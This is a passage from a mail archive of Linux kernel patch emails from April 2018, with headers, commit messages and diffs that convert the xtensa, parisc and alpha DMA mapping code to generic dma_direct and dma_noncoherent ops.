-	return nents;
-}
-
-static void xtensa_unmap_sg(struct device *dev,
-			    struct scatterlist *sg, int nents,
-			    enum dma_data_direction dir,
-			    unsigned long attrs)
-{
-	struct scatterlist *s;
-	int i;
-
-	for_each_sg(sg, s, nents, i) {
-		xtensa_unmap_page(dev, sg_dma_address(s),
-				  sg_dma_len(s), dir, attrs);
-	}
-}
-
-int xtensa_dma_mapping_error(struct device *dev, dma_addr_t dma_addr)
-{
-	return 0;
-}
-
-const struct dma_map_ops xtensa_dma_map_ops = {
-	.alloc = xtensa_dma_alloc,
-	.free = xtensa_dma_free,
-	.map_page = xtensa_map_page,
-	.unmap_page = xtensa_unmap_page,
-	.map_sg = xtensa_map_sg,
-	.unmap_sg = xtensa_unmap_sg,
-	.sync_single_for_cpu = xtensa_sync_single_for_cpu,
-	.sync_single_for_device = xtensa_sync_single_for_device,
-	.sync_sg_for_cpu = xtensa_sync_sg_for_cpu,
-	.sync_sg_for_device = xtensa_sync_sg_for_device,
-	.mapping_error = xtensa_dma_mapping_error,
-};
-EXPORT_SYMBOL(xtensa_dma_map_ops);
-- 
2.17.0



From - Thu Nov 08 21:41:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH 22/22] parisc: use generic dma_noncoherent_ops
Date: Fri, 20 Apr 2018 10:03:13 +0200
Lines: 338
Approved: news@gmane.org
Message-ID: <20180420080313.18796-23-hch@lst.de>
References: <20180420080313.18796-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1524211406 21135 195.159.176.226 (20 Apr 2018 08:03:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 20 Apr 2018 08:03:26 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Apr 20 10:03:21 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f9R0p-0005OB-3E
	for glk-linux-kernel-4@m.gmane.org; Fri, 20 Apr 2018 10:03:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754409AbeDTIFY (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 20 Apr 2018 04:05:24 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.133]:40918 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754359AbeDTIE5 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 20 Apr 2018 04:04:57 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=siUh1zk58u/cquIrse88/uOKZMJfGY+vIWYvkrNgo5c=; b=l9IOBOFD8eo+L4+72W2VpX9Qh
        OKu9pQaXCUvpCjYsIVdVW30auwGQyLLzvc1V3GtlPYjdUPI3Rlzesq/omPtwf7BhByjmTqtwjI9tp
        X+0uJXN4El1cuofu/fA2xv1hWxecunl+guV8zHfDkS+wAUDWXSnk71tdFxdBUX6uFGTS4Cs+QkYkV
        zHf1idaWH+YsY3lfGdcwhrZ4NklknSNdBbxFcOlgXS5hyeKxl8ntsKl4HA5E2oC2QtAbtQZbxkWHo
        edpyAd1tKSrUAJg9KoOosBAO1YkYA4PxBW0S3PfO/ubbuzvlhICCW3RzgizUeDD7gsq5WbVxsJOC6
    
Original-Received: from static-242-42-24-46.ipcom.comunitel.net ([46.24.42.242] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1f9R24-0007sa-Ci; Fri, 20 Apr 2018 08:04:36 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180420080313.18796-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2746073 gmane.linux.kernel.cross-arch:43565 gmane.linux.ports.alpha:4964 gmane.linux.kernel.arc:3807 gmane.linux.ports.arm.kernel:644797 gmane.linux.ports.hexagon:1650 gmane.linux.ports.parisc:28522 gmane.linux.ports.sh.devel:56873 gmane.linux.ports.sparc:27690
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2746073>

Switch to the generic noncoherent direct mapping implementation.

Parisc previously had two different non-coherent dma ops implementation
that just different in the way coherent allocations were handled or not
handled.  The different behavior is not selected at runtime in the
arch_dma_alloc and arch_dma_free routines.  The non-coherent allocation
in the pcx cases now uses the dma_direct helpers that are a little more
sophisticated and used by a lot of other architectures.

Fix sync_single_for_cpu to do skip the cache flush unless the transfer
is to the device to match the more tested unmap_single path which should
have the same cache coherency implications.

This also now consistenly uses flush_kernel_dcache_range for cache
flushing while previously some of the SG based operations used
flush_kernel_vmap_range instead.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/parisc/Kconfig                   |   4 +
 arch/parisc/include/asm/dma-mapping.h |   5 -
 arch/parisc/kernel/pci-dma.c          | 181 ++++----------------------
 arch/parisc/kernel/setup.c            |   8 +-
 arch/parisc/mm/init.c                 |  11 +-
 5 files changed, 35 insertions(+), 174 deletions(-)

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 47047f0cbe35..80166a1cbcb7 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -188,6 +188,10 @@ config PA20
 config PA11
 	def_bool y
 	depends on PA7000 || PA7100LC || PA7200 || PA7300LC
+	select ARCH_HAS_SYNC_DMA_FOR_CPU
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
+	select DMA_NONCOHERENT_OPS
+	select DMA_NONCOHERENT_CACHE_SYNC
 
 config PREFETCH
 	def_bool y
diff --git a/arch/parisc/include/asm/dma-mapping.h b/arch/parisc/include/asm/dma-mapping.h
index 01e1fc057c83..44a9f97194aa 100644
--- a/arch/parisc/include/asm/dma-mapping.h
+++ b/arch/parisc/include/asm/dma-mapping.h
@@ -21,11 +21,6 @@
 ** flush/purge and allocate "regular" cacheable pages for everything.
 */
 
-#ifdef CONFIG_PA11
-extern const struct dma_map_ops pcxl_dma_ops;
-extern const struct dma_map_ops pcx_dma_ops;
-#endif
-
 extern const struct dma_map_ops *hppa_dma_ops;
 
 static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index 91bc0cac03a1..235e2e53959e 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -21,13 +21,12 @@
 #include <linux/init.h>
 #include <linux/gfp.h>
 #include <linux/mm.h>
-#include <linux/pci.h>
 #include <linux/proc_fs.h>
 #include <linux/seq_file.h>
 #include <linux/string.h>
 #include <linux/types.h>
-#include <linux/scatterlist.h>
-#include <linux/export.h>
+#include <linux/dma-direct.h>
+#include <linux/dma-noncoherent.h>
 
 #include <asm/cacheflush.h>
 #include <asm/dma.h>    /* for DMA_CHUNK_SIZE */
@@ -447,178 +446,48 @@ static void pa11_dma_free(struct device *dev, size_t size, void *vaddr,
 	free_pages((unsigned long)__va(dma_handle), order);
 }
 
-static dma_addr_t pa11_dma_map_page(struct device *dev, struct page *page,
-		unsigned long offset, size_t size,
-		enum dma_data_direction direction, unsigned long attrs)
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	void *addr = page_address(page) + offset;
-	BUG_ON(direction == DMA_NONE);
-
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		flush_kernel_dcache_range((unsigned long) addr, size);
-
-	return virt_to_phys(addr);
+	flush_kernel_dcache_range((unsigned long)phys_to_virt(paddr), size);
 }
 
-static void pa11_dma_unmap_page(struct device *dev, dma_addr_t dma_handle,
-		size_t size, enum dma_data_direction direction,
-		unsigned long attrs)
+void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	BUG_ON(direction == DMA_NONE);
-
-	if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
-		return;
-
-	if (direction == DMA_TO_DEVICE)
+	if (dir == DMA_TO_DEVICE)
 		return;
 
 	/*
-	 * For PCI_DMA_FROMDEVICE this flush is not necessary for the
+	 * For DMA_FROM_DEVICE this flush is not necessary for the
 	 * simple map/unmap case. However, it IS necessary if if
-	 * pci_dma_sync_single_* has been called and the buffer reused.
+	 * dma_sync_single_* has been called and the buffer reused.
 	 */
 
-	flush_kernel_dcache_range((unsigned long) phys_to_virt(dma_handle), size);
-}
-
-static int pa11_dma_map_sg(struct device *dev, struct scatterlist *sglist,
-		int nents, enum dma_data_direction direction,
-		unsigned long attrs)
-{
-	int i;
-	struct scatterlist *sg;
-
-	BUG_ON(direction == DMA_NONE);
-
-	for_each_sg(sglist, sg, nents, i) {
-		unsigned long vaddr = (unsigned long)sg_virt(sg);
-
-		sg_dma_address(sg) = (dma_addr_t) virt_to_phys(vaddr);
-		sg_dma_len(sg) = sg->length;
-
-		if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
-			continue;
-
-		flush_kernel_dcache_range(vaddr, sg->length);
-	}
-	return nents;
+	flush_kernel_dcache_range((unsigned long)phys_to_virt(paddr), size);
 }
 
-static void pa11_dma_unmap_sg(struct device *dev, struct scatterlist *sglist,
-		int nents, enum dma_data_direction direction,
-		unsigned long attrs)
-{
-	int i;
-	struct scatterlist *sg;
-
-	BUG_ON(direction == DMA_NONE);
-
-	if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
-		return;
-
-	if (direction == DMA_TO_DEVICE)
-		return;
-
-	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
-
-	for_each_sg(sglist, sg, nents, i)
-		flush_kernel_vmap_range(sg_virt(sg), sg->length);
-}
-
-static void pa11_dma_sync_single_for_cpu(struct device *dev,
-		dma_addr_t dma_handle, size_t size,
-		enum dma_data_direction direction)
-{
-	BUG_ON(direction == DMA_NONE);
-
-	flush_kernel_dcache_range((unsigned long) phys_to_virt(dma_handle),
-			size);
-}
-
-static void pa11_dma_sync_single_for_device(struct device *dev,
-		dma_addr_t dma_handle, size_t size,
-		enum dma_data_direction direction)
-{
-	BUG_ON(direction == DMA_NONE);
-
-	flush_kernel_dcache_range((unsigned long) phys_to_virt(dma_handle),
-			size);
-}
-
-static void pa11_dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sglist, int nents, enum dma_data_direction direction)
-{
-	int i;
-	struct scatterlist *sg;
-
-	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
-
-	for_each_sg(sglist, sg, nents, i)
-		flush_kernel_vmap_range(sg_virt(sg), sg->length);
-}
-
-static void pa11_dma_sync_sg_for_device(struct device *dev, struct scatterlist *sglist, int nents, enum dma_data_direction direction)
-{
-	int i;
-	struct scatterlist *sg;
-
-	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
-
-	for_each_sg(sglist, sg, nents, i)
-		flush_kernel_vmap_range(sg_virt(sg), sg->length);
-}
-
-static void pa11_dma_cache_sync(struct device *dev, void *vaddr, size_t size,
+void arch_dma_cache_sync(struct device *dev, void *vaddr, size_t size,
 	       enum dma_data_direction direction)
 {
 	flush_kernel_dcache_range((unsigned long)vaddr, size);
 }
 
-const struct dma_map_ops pcxl_dma_ops = {
-	.alloc =		pa11_dma_alloc,
-	.free =			pa11_dma_free,
-	.map_page =		pa11_dma_map_page,
-	.unmap_page =		pa11_dma_unmap_page,
-	.map_sg =		pa11_dma_map_sg,
-	.unmap_sg =		pa11_dma_unmap_sg,
-	.sync_single_for_cpu =	pa11_dma_sync_single_for_cpu,
-	.sync_single_for_device = pa11_dma_sync_single_for_device,
-	.sync_sg_for_cpu =	pa11_dma_sync_sg_for_cpu,
-	.sync_sg_for_device =	pa11_dma_sync_sg_for_device,
-	.cache_sync =		pa11_dma_cache_sync,
-};
-
-static void *pcx_dma_alloc(struct device *dev, size_t size,
-		dma_addr_t *dma_handle, gfp_t flag, unsigned long attrs)
+void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
+		gfp_t gfp, unsigned long attrs)
 {
-	void *addr;
-
-	if ((attrs & DMA_ATTR_NON_CONSISTENT) == 0)
-		return NULL;
-
-	addr = (void *)__get_free_pages(flag, get_order(size));
-	if (addr)
-		*dma_handle = (dma_addr_t)virt_to_phys(addr);
-
-	return addr;
+	if (boot_cpu_data.cpu_type == pcxl2 || boot_cpu_data.cpu_type == pcxl)
+		return pa11_dma_alloc(dev, size, dma_handle, gfp, attrs);
+	if (attrs & DMA_ATTR_NON_CONSISTENT)
+		return dma_direct_alloc(dev, size, dma_handle, gfp, attrs);
+	return NULL;
 }
 
-static void pcx_dma_free(struct device *dev, size_t size, void *vaddr,
-		dma_addr_t iova, unsigned long attrs)
+void arch_dma_free(struct device *dev, size_t size, void *cpu_addr,
+		dma_addr_t dma_addr, unsigned long attrs)
 {
-	free_pages((unsigned long)vaddr, get_order(size));
-	return;
+	if (boot_cpu_data.cpu_type == pcxl2 || boot_cpu_data.cpu_type == pcxl)
+		pa11_dma_free(dev, size, cpu_addr, dma_addr, attrs);
+	else
+		dma_direct_free(dev, size, cpu_addr, dma_addr, attrs);
 }
-
-const struct dma_map_ops pcx_dma_ops = {
-	.alloc =		pcx_dma_alloc,
-	.free =			pcx_dma_free,
-	.map_page =		pa11_dma_map_page,
-	.unmap_page =		pa11_dma_unmap_page,
-	.map_sg =		pa11_dma_map_sg,
-	.unmap_sg =		pa11_dma_unmap_sg,
-	.sync_single_for_cpu =	pa11_dma_sync_single_for_cpu,
-	.sync_single_for_device = pa11_dma_sync_single_for_device,
-	.sync_sg_for_cpu =	pa11_dma_sync_sg_for_cpu,
-	.sync_sg_for_device =	pa11_dma_sync_sg_for_device,
-	.cache_sync =		pa11_dma_cache_sync,
-};
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index 8d3a7b80ac42..4e87c35c22b7 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -97,14 +97,12 @@ void __init dma_ops_init(void)
 		panic(	"PA-RISC Linux currently only supports machines that conform to\n"
 			"the PA-RISC 1.1 or 2.0 architecture specification.\n");
 
-	case pcxs:
-	case pcxt:
-		hppa_dma_ops = &pcx_dma_ops;
-		break;
 	case pcxl2:
 		pa7300lc_init();
 	case pcxl: /* falls through */
-		hppa_dma_ops = &pcxl_dma_ops;
+	case pcxs:
+	case pcxt:
+		hppa_dma_ops = &dma_noncoherent_ops;
 		break;
 	default:
 		break;
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index cab32ee824d2..4ad91c28ecbe 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -19,7 +19,6 @@
 #include <linux/gfp.h>
 #include <linux/delay.h>
 #include <linux/init.h>
-#include <linux/pci.h>		/* for hppa_dma_ops and pcxl_dma_ops */
 #include <linux/initrd.h>
 #include <linux/swap.h>
 #include <linux/unistd.h>
@@ -616,17 +615,13 @@ void __init mem_init(void)
 	free_all_bootmem();
 
 #ifdef CONFIG_PA11
-	if (hppa_dma_ops == &pcxl_dma_ops) {
+	if (boot_cpu_data.cpu_type == pcxl2 || boot_cpu_data.cpu_type == pcxl) {
 		pcxl_dma_start = (unsigned long)SET_MAP_OFFSET(MAP_START);
 		parisc_vmalloc_start = SET_MAP_OFFSET(pcxl_dma_start
 						+ PCXL_DMA_MAP_SIZE);
-	} else {
-		pcxl_dma_start = 0;
-		parisc_vmalloc_start = SET_MAP_OFFSET(MAP_START);
-	}
-#else
-	parisc_vmalloc_start = SET_MAP_OFFSET(MAP_START);
+	} else
 #endif
+		parisc_vmalloc_start = SET_MAP_OFFSET(MAP_START);
 
 	mem_init_print_info(NULL);
 
-- 
2.17.0



From - Thu Nov 08 21:41:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.arm.kernel
Subject: [PATCH 04/22] alpha: use dma_direct_ops for jensen
Date: Fri, 20 Apr 2018 10:02:55 +0200
Lines: 82
Approved: news@gmane.org
Message-ID: <20180420080313.18796-5-hch@lst.de>
References: <20180420080313.18796-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1524211472 25892 195.159.176.226 (20 Apr 2018 08:04:32 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 20 Apr 2018 08:04:32 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-xtensa@linux-xtensa.org,
 Michal Simek <monstr@monstr.eu>, Vincent Chen <deanbo422@gmail.com>,
 linux-c6x-dev@linux-c6x.org, linux-parisc@vger.kernel.org,
 linux-sh@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
 openrisc@lists.librecores.org, Greentime Hu <green.hu@gmail.com>,
 linux-alpha@vger.kernel.org, sparclinux@vger.kernel.org,
 nios2-dev@lists.rocketboards.org, linux-snps-arc@lists.infradead.org,
 linux-arm-kernel@lists.infradead.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Apr 20 10:04:27 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f9R1q-0006TS-IY
	for gla-linux-snps-arc@m.gmane.org; Fri, 20 Apr 2018 10:04:22 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=wWYsza65julXZ7hBZ7ndIQ8Hcnq5C70QxJITLvy4zWI=; b=Lh/taylu+LAUykk8PnbomBkhzc
	8AaVI+eN7vZ4gl4eBHd4ypnzGOlvZjqatBUuLBS5GKYAQG7mSENwSh9RESwIP92zxbJ1WhCAPI3ux
	Tx5pnSxoqqEnBaocaNXw3EhA5Tzpev85haa0ZwQxbSa7hBISj2KO0cqPXerhSoULFJhQ+Gqfy+O89
	5II0z0AGSVCzyt1VrTdVZowkmOOLQIQJXplS+TRksAqh17ZI7NVJCtjubMgx9+13vNmKoWW/RWPDH
	pry5NuwfZeTtmEzl/5992fs0vAzxnu7HFLvsV8VKLkWpFuDsqXoCrhoFqSGl8Xqh0sdnNluoT1/dR
	R8ySN4fw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f9R3r-0001MX-Um; Fri, 20 Apr 2018 08:06:28 +0000
Original-Received: from static-242-42-24-46.ipcom.comunitel.net ([46.24.42.242]
 helo=localhost)
 by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f9R0y-0007KE-Ls; Fri, 20 Apr 2018 08:03:29 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180420080313.18796-1-hch@lst.de>
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3808 gmane.linux.kernel.cross-arch:43566 gmane.linux.ports.parisc:28523 gmane.linux.ports.sh.devel:56874 gmane.linux.ports.hexagon:1651 gmane.linux.kernel:2746078 gmane.linux.ports.alpha:4965 gmane.linux.ports.sparc:27691 gmane.linux.ports.arm.kernel:644799
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3808>

The generic dma_direct implementation does the same thing as the alpha
pci-noop implementation, just with more bells and whistles.  And unlike
the current code it at least has a theoretical chance to actually compile.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/alpha/Kconfig                   |  1 +
 arch/alpha/include/asm/dma-mapping.h |  4 ++++
 arch/alpha/kernel/pci-noop.c         | 33 ----------------------------
 3 files changed, 5 insertions(+), 33 deletions(-)

diff --git a/arch/alpha/Kconfig b/arch/alpha/Kconfig
index aa7df1a36fd0..94af0c7f494a 100644
--- a/arch/alpha/Kconfig
+++ b/arch/alpha/Kconfig
@@ -204,6 +204,7 @@ config ALPHA_EIGER
 config ALPHA_JENSEN
 	bool "Jensen"
 	depends on BROKEN
+	select DMA_DIRECT_OPS
 	help
 	  DEC PC 150 AXP (aka Jensen): This is a very old Digital system - one
 	  of the first-generation Alpha systems. A number of these systems
diff --git a/arch/alpha/include/asm/dma-mapping.h b/arch/alpha/include/asm/dma-mapping.h
index b78f61f20796..76ce923ecca1 100644
--- a/arch/alpha/include/asm/dma-mapping.h
+++ b/arch/alpha/include/asm/dma-mapping.h
@@ -6,7 +6,11 @@ extern const struct dma_map_ops *dma_ops;
 
 static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
+#ifdef CONFIG_ALPHA_JENSEN
+	return &dma_direct_ops;
+#else
 	return dma_ops;
+#endif
 }
 
 #endif	/* _ALPHA_DMA_MAPPING_H */
diff --git a/arch/alpha/kernel/pci-noop.c b/arch/alpha/kernel/pci-noop.c
index b6ebb65127a8..c7c5879869d3 100644
--- a/arch/alpha/kernel/pci-noop.c
+++ b/arch/alpha/kernel/pci-noop.c
@@ -102,36 +102,3 @@ SYSCALL_DEFINE5(pciconfig_write, unsigned long, bus, unsigned long, dfn,
 	else
 		return -ENODEV;
 }
-
-static void *alpha_noop_alloc_coherent(struct device *dev, size_t size,
-				       dma_addr_t *dma_handle, gfp_t gfp,
-				       unsigned long attrs)
-{
-	void *ret;
-
-	if (!dev || *dev->dma_mask >= 0xffffffffUL)
-		gfp &= ~GFP_DMA;
-	ret = (void *)__get_free_pages(gfp, get_order(size));
-	if (ret) {
-		memset(ret, 0, size);
-		*dma_handle = virt_to_phys(ret);
-	}
-	return ret;
-}
-
-static int alpha_noop_supported(struct device *dev, u64 mask)
-{
-	return mask < 0x00ffffffUL ? 0 : 1;
-}
-
-const struct dma_map_ops alpha_noop_ops = {
-	.alloc			= alpha_noop_alloc_coherent,
-	.free			= dma_noop_free_coherent,
-	.map_page		= dma_noop_map_page,
-	.map_sg			= dma_noop_map_sg,
-	.mapping_error		= dma_noop_mapping_error,
-	.dma_supported		= alpha_noop_supported,
-};
-
-const struct dma_map_ops *dma_ops = &alpha_noop_ops;
-EXPORT_SYMBOL(dma_ops);
-- 
2.17.0

From - Thu Nov 08 21:41:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH 21/22] sparc: use generic dma_noncoherent_ops
Date: Fri, 20 Apr 2018 10:03:12 +0200
Lines: 243
Approved: news@gmane.org
Message-ID: <20180420080313.18796-22-hch@lst.de>
References: <20180420080313.18796-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1524211513 28626 195.159.176.226 (20 Apr 2018 08:05:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 20 Apr 2018 08:05:13 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Apr 20 10:05:07 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f9R2Z-0006SQ-1I
	for glk-linux-kernel-4@m.gmane.org; Fri, 20 Apr 2018 10:05:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754501AbeDTIHN (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 20 Apr 2018 04:07:13 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.133]:40810 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754347AbeDTIEy (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 20 Apr 2018 04:04:54 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=v94RyL+wCZYuDtxbHZA8jYFj7UslQr4i06ShTgdhEWA=; b=cmEepe1pFfyBCWwtY6gQQbhFv
        q+x6NXEM9yBtr4ZOYC2JSpomsPhxSNN470UsRmRxWpPo9NwXArH6NHdqczVb6M/4649sfvh7kylu2
        4P1Bo9f9enQbtewMVuJrVuEn95itesuGzvdbo2/a8o+WQ5/Y7ZQ3hUPj5GooO+dVDKHLD/OGdqqnk
